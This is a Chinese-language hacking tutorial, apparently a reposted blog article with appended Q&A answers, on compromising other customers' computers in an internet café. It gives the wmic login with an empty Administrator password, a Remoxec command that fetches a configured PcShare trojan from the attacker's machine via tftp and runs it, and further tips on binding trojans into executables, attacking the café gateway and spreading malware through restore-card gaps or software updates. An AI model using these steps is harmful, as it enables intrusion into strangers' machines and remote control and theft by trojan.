入侵同网吧电脑实战演示，远程植入木马~

内容导航：

入侵同网吧电脑实战演示，远程植入木马~

如何远程植入木马

在家如何入侵网吧?

怎样给网吧植入木马

一、入侵同网吧电脑实战演示，远程植入木马~

在之前的文章里我也介绍了一些网吧（内网）入侵的内容，就是使用Windows帐号密码读取工具，先读出本机保存的帐号密码，然后利用recton2．5进行连接的那篇文章。我个人认为该文介绍的方法都是在最理想的情况下进行的，倘若环境稍微变化了可能就无法使用了。因此，下边我为各位介绍一个新的利用方法。

我们这里有的网吧，感觉比网上看见的那些网吧要安全的多，至少我所去过的大多数网吧里没有哪一家有arp欺骗漏洞，至少都使用arp-s 192.188.0.1 mac类似的进行了网关的绑定，更有甚者把网吧所有的主机全部都进行了绑定。像之前我所说过的zxarps、p2p终结者、QQ第六感之类的工具没有一个可以使用的。另外，客户机也都是进行过相应的优化以及安全设置，大家最喜爱的弱口令之类的是根本不存在的。开始的时候我本想入侵计费主机的，可是难度太高，计费主机采用软件与数据库(mysql)分离机制，且数据库服务器还有访问控制，禁止除了计费机之外的任何主机连接，郁闷啊。虽然要破对方的访问控制不难，但是要在不影响正常工作的情况下进行破解，就几乎不太可能了。要知道，数据库服务器只能扫描到mysql的3306端口，要是有ODAY漏洞利用工具就好了，呵呵，可惜只是白日做梦！既然入侵不了服务器那我们就尝试入侵客户机吧。

这个入侵的思路是我在无聊至极的时候在CMD里输入help找到的（我平时没事喜欢在cmd里面看各个命令的使用方法，也算是一种复习吧），无意间看到了wmic命令，大脑快速的搜索了下没有此命令，赶紧看下命令帮助。

根据帮助信息，这个命令可以用来管理远程计算机，仔细研究了一番，掌握了一些简单的命令参数，比如process可以查看系统的进程，share可以查看共享，os可以查看系统版本信息，不过这些并不是我最想要的，我想要的是远程执行，有了它就万事ok了！但是里面唯一一个看似可以执行命令的参数job，我却怎么输入都市错误。没办法，只好又在网上搜索了一下，也没有关于wmic job的示范，几乎都是直接把wmic的帮助放到了网页里的。

不管了，尝试使用这个连接看看吧。我使用的命令如下：在命令提示符中输入wmic，等它安装完成后会得到一个“wrriic：root\cli>”提示符，接着输入/node:"wb033"/password：""/user:"Administrator"，如果没有什么错误提示的话，就是成功了。然后就可以执行命令了，例如process列出进程，可以看到那个家伙正在玩魔兽。

但是使用job命令就是不行，也不知道问题到底是出在哪儿，还希望高手可以指点一一下。这时我想起了Remoxec，我记得好像在以前的论坛上看到过，说是这个程序和wmi有点亲戚关系。我二话不说，马上从百度搜索了一个下载下来，双击运行，果然有wmi，接下来我们就来执行命令tftp-i 192.168.0.103 get ps.exe。提醒一下，执行这个命令前，别忘记了在本机上开启TFTPD32，并把配置好的木马程序和tftpd32.exe存放在同一目录下。上面的ps.exe就是我配置好的pcshare。接着执行c：\windows\system32\ps.exe，如果两次都提示成功的

话，那么打开我们的木马客户端就等着它来上线吧！

本文来自 危险漫步博客 转载请注明；

本文地址：http:///article/1104.html

一、如何远程植入木马

下载一个冰河进程
然后
和exe合成然后打入压缩包
在对方杀软关闭或者忽略情况下植入成功
仅仅教学之用
望采纳

二、在家如何入侵网吧?

很简单， 你先去网吧，把网吧管理员密码弄到 管理员密码可以木马破，不过要先关防火墙 防火墙要在开机后安装净网先锋安装前破了， 然后查出他们网吧网关， IP，家里下载个木马编依器 自动弄个木马，开始进攻他们网关，网关破了 他们机子不就归你掌握？ 我们这里网吧，维护系统，可以从机带MP3里破 呵呵给个最佳

三、怎样给网吧植入木马

一般的网吧都有还原卡 但都是重启的时候生效 也就是说在一个人刚刚下机到下一个人上机的这期间如果电脑没有自动关机的话还原卡就不会起作用 你的病毒就还会电脑中运行;你可以先上机在电脑中植入木马后再下机让其他人上这样你的目的就达到了 不过有点费时费力还有一种方法就是网吧都是定期更新这时如果你在更新的东西中植入木马那网吧所有的电脑就都有病毒了